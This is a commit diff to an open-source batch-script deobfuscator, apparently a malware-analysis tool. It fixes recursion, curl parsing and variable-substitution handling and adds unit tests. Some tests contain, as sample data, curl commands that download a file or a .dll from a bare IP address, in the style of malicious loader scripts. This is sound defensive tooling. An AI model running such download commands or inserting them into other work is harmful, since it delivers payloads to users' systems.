Skip to content

Commit e5598ec

Browse files
committed
Fix infinite recursion, curl and var substring
1 parent d48ea7c commit e5598ec

File tree

3 files changed

+98
-31
lines changed

3 files changed

+98
-31
lines changed

batch_deobfuscator/batch_interpreter.py

+27-16
Original file line numberDiff line numberDiff line change
@@ -270,7 +270,7 @@ def get_value(self, variable):
270270
value = f"{s2}{value[value.lower().index(s1[1:].lower())+len(s1)-1:]}"
271271
else:
272272
pattern = re.compile(re.escape(s1), re.IGNORECASE)
273-
value = pattern.sub(s2, value)
273+
value = pattern.sub(re.escape(s2), value)
274274
else:
275275
# It should be "variable", and interpret the empty echo later, but that would need a better simulator
276276
return value
@@ -370,6 +370,8 @@ def interpret_set(self, cmd):
370370
return (var_name, var_value)
371371

372372
def interpret_curl(self, cmd):
373+
# Batch specific obfuscation that is not handled before for echo/variable purposes, can be stripped here
374+
cmd = cmd.replace('""', "")
373375
split_cmd = shlex.split(cmd, posix=False)
374376
args, unknown = self.curl_parser.parse_known_args(split_cmd[1:])
375377

@@ -456,6 +458,10 @@ def interpret_command(self, normalized_comm):
456458
self.exec_cmd.append(match.group("cmd").strip('"'))
457459
return
458460

461+
if normalized_comm_lower.startswith("setlocal"):
462+
# Just so we don't go into the set command
463+
return
464+
459465
if normalized_comm_lower.startswith("set"):
460466
# interpreting set command
461467
var_name, var_value = self.interpret_set(normalized_comm[3:])
@@ -543,19 +549,31 @@ def normalize_command(self, command):
543549
elif char == "%": # Two % in a row
544550
normalized_com += char
545551
state = stack.pop()
546-
elif char == '"':
547-
if stack[-1] == "str_s":
548-
normalized_com += char
549-
stack.pop()
550-
state = "init"
551-
else:
552-
normalized_com += char
553552
elif char == "^":
554553
# Do not escape in vars?
555554
# state = "escape"
556555
# stack.append("var_s")
557556
normalized_com += char
558-
elif char.isdigit() and len(normalized_com) == variable_start + 1:
557+
elif char == "*" and len(normalized_com) == variable_start + 1:
558+
# Assume no parameter were passed
559+
normalized_com = normalized_com[:variable_start]
560+
state = stack.pop()
561+
elif char.isdigit() and normalized_com[variable_start:] in [
562+
"%",
563+
"%~",
564+
"%~f",
565+
"%~d",
566+
"%~p",
567+
"%~n",
568+
"%~x",
569+
"%~s",
570+
"%~a",
571+
"%~t",
572+
"%~z",
573+
]:
574+
# https://www.programming-books.io/essential/batch/-percent-tilde-f4263820c2db41e399c77259970464f1.html
575+
# TODO: Better handling of letter combination (i.e. %~xsa0)
576+
# Could also return different values of script.bat if we want to parse the options
559577
normalized_com += char
560578
if char == "0":
561579
value = "script.bat"
@@ -578,13 +596,6 @@ def normalize_command(self, command):
578596
state = stack.pop()
579597
elif char == "!":
580598
normalized_com += char
581-
elif char == '"':
582-
if stack[-1] == "str_s":
583-
normalized_com += char
584-
stack.pop()
585-
state = "init"
586-
else:
587-
normalized_com += char
588599
elif char == "^":
589600
state = "escape"
590601
stack.append("var_s_2")

tests/test_FE_DOSfuscation.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -155,7 +155,7 @@ def test_empty_var():
155155
# With EnableDelayedExpansion OFF, we keep the ! at the end
156156
deobfuscator = BatchDeobfuscator()
157157
logical_line = 'ec%a%ho "Fi%b%nd Ev%c%il!"'
158-
expected = 'echo "Find Evil!"'
158+
expected = 'echo "Find Evil"'
159159
normalized_comm = deobfuscator.normalize_command(logical_line)
160160
assert expected == normalized_comm
161161

tests/test_unittests.py

+70-14
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,10 @@ def test_simple_set_a():
157157
('set E^"E"X"P=43"', 'echo *%E"E"X"P%*', 'echo *43"*'),
158158
('set E"E^"X"P=43"', 'echo *%E"E^"X"P%*', 'echo *43"*'),
159159
("set ^|EXP=43", "echo *%|EXP%*", "echo *43*"),
160+
("set EXP=43", "echo *%EXP:/=\\%*", "echo *43*"),
161+
("set EXP=43/43", "echo *%EXP:/=\\%*", "echo *43\\43*"),
162+
("set EXP=43", "echo *%EXP:\\=/%*", "echo *43*"),
163+
("set EXP=43\\43", "echo *%EXP:\\=/%*", "echo *43/43*"),
160164
# TODO: Really, how should we handle that?
161165
# 'set ""EXP=43'
162166
# 'set'
@@ -335,24 +339,42 @@ def test_single_quote_var_name_rewrite_1():
335339
assert deobfuscator.variables["'"] == "abbbc"
336340

337341
@staticmethod
338-
def test_args():
342+
@pytest.mark.parametrize(
343+
"cmd, result",
344+
[
345+
("echo %0", "echo script.bat"),
346+
("echo %1", "echo "),
347+
("echo %~0", "echo script.bat"),
348+
("echo %~1", "echo "),
349+
("echo %~s0", "echo script.bat"),
350+
("echo %~s1", "echo "),
351+
("echo %~f0", "echo script.bat"),
352+
("echo %~f1", "echo "),
353+
("echo %~d0", "echo script.bat"),
354+
("echo %~d1", "echo "),
355+
("echo %~p0", "echo script.bat"),
356+
("echo %~p1", "echo "),
357+
("echo %~z0", "echo script.bat"),
358+
("echo %~z1", "echo "),
359+
("echo %~a0", "echo script.bat"),
360+
("echo %~a1", "echo "),
361+
# ("echo %~xsa0", "echo script.bat"),
362+
# ("echo %~xsa1", "echo "),
363+
("echo %3c%3%A", "echo cA"),
364+
("echo %3c%3%A%", "echo c"),
365+
("echo %*", "echo "),
366+
("echo %*a", "echo a"),
367+
],
368+
)
369+
def test_args(cmd, result):
339370
deobfuscator = BatchDeobfuscator()
340371

341-
cmd = "echo %0"
342372
res = deobfuscator.normalize_command(cmd)
343-
assert res == "echo script.bat"
344-
345-
cmd = "echo %1"
346-
res = deobfuscator.normalize_command(cmd)
347-
assert res == "echo "
348-
349-
cmd = "echo %3c%3%A"
350-
res = deobfuscator.normalize_command(cmd)
351-
assert res == "echo cA"
373+
assert res == result
352374

353-
cmd = "echo %3c%3%A%"
354-
res = deobfuscator.normalize_command(cmd)
355-
assert res == "echo c"
375+
@staticmethod
376+
def test_args_with_var():
377+
deobfuscator = BatchDeobfuscator()
356378

357379
cmd = "set A=123"
358380
deobfuscator.interpret_command(cmd)
@@ -470,6 +492,10 @@ def test_for():
470492
"curl.exe -o C:\\ProgramData\\output\\output.file 1.1.1.1/file.dat",
471493
{"src": "1.1.1.1/file.dat", "dst": "C:\\ProgramData\\output\\output.file"},
472494
),
495+
(
496+
'curl ""http://1.1.1.1/zazaz/p~~/Y98g~~/"" -o 9jXqQZQh.dll',
497+
{"src": "http://1.1.1.1/zazaz/p~~/Y98g~~/", "dst": "9jXqQZQh.dll"},
498+
),
473499
],
474500
)
475501
def test_interpret_curl(cmd, download_trait):
@@ -551,3 +577,33 @@ def test_non_posix_powershell():
551577
deobfuscator.interpret_command(cmd)
552578
assert len(deobfuscator.exec_ps1) == 1
553579
assert deobfuscator.exec_ps1[0] == rb"C:\ProgramData\x64\ISO\x64.ps1"
580+
581+
@staticmethod
582+
def test_anti_recursivity():
583+
deobfuscator = BatchDeobfuscator()
584+
cmd = 'set "str=a"'
585+
deobfuscator.interpret_command(cmd)
586+
587+
cmd = 'set "str=!str:"=\\"!"'
588+
cmd2 = deobfuscator.normalize_command(cmd)
589+
deobfuscator.interpret_command(cmd2)
590+
591+
cmd = "echo %str%"
592+
cmd2 = deobfuscator.normalize_command(cmd)
593+
594+
assert cmd2 == "echo a"
595+
596+
@staticmethod
597+
def test_anti_recursivity_with_quotes():
598+
deobfuscator = BatchDeobfuscator()
599+
cmd = 'set "str=a"a"'
600+
deobfuscator.interpret_command(cmd)
601+
602+
cmd = 'set "str=!str:"=\\"!"'
603+
cmd2 = deobfuscator.normalize_command(cmd)
604+
deobfuscator.interpret_command(cmd2)
605+
606+
cmd = "echo %str%"
607+
cmd2 = deobfuscator.normalize_command(cmd)
608+
609+
assert cmd2 == 'echo a\\"a'

0 commit comments

Comments
 (0)